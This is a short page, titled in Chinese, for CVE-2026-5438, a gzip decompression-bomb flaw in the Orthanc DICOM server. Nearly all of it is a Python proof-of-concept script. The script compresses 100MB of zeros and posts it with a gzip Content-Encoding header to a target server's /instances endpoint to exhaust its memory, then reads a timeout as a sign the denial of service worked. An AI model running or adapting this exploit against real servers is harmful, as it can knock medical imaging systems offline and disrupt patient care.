CVE-2026-5438 Orthanc gzip解压炸弹漏洞

import gzip import requests # Proof of Concept for CVE-2026-5438 # Generates a gzip bomb to trigger memory exhaustion def create_gzip_bomb(uncompressed_size): """ Creates a gzip payload that expands to a large size. Note: Adjust size based on target memory limits. """ # Creating a payload of zeros (highly compressible) # In a real scenario, this could be much larger (e.g., 1GB+) data = b'\x00' * uncompressed_size compressed_data = gzip.compress(data) return compressed_data # Configuration target_url = 'http://target-orthanc-server:8042/instances' # 100MB of zeros compresses to a very small size (approx 100KB) bomb_payload = create_gzip_bomb(100 * 1024 * 1024) headers = { 'Content-Encoding': 'gzip', 'Content-Type': 'application/dicom' } try: print(f"Sending payload ({len(bomb_payload)} bytes compressed)...") response = requests.post(target_url, data=bomb_payload, headers=headers, timeout=10) print(f"Response Status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - Server may be unresponsive (DoS likely).") except Exception as e: print(f"An error occurred: {e}")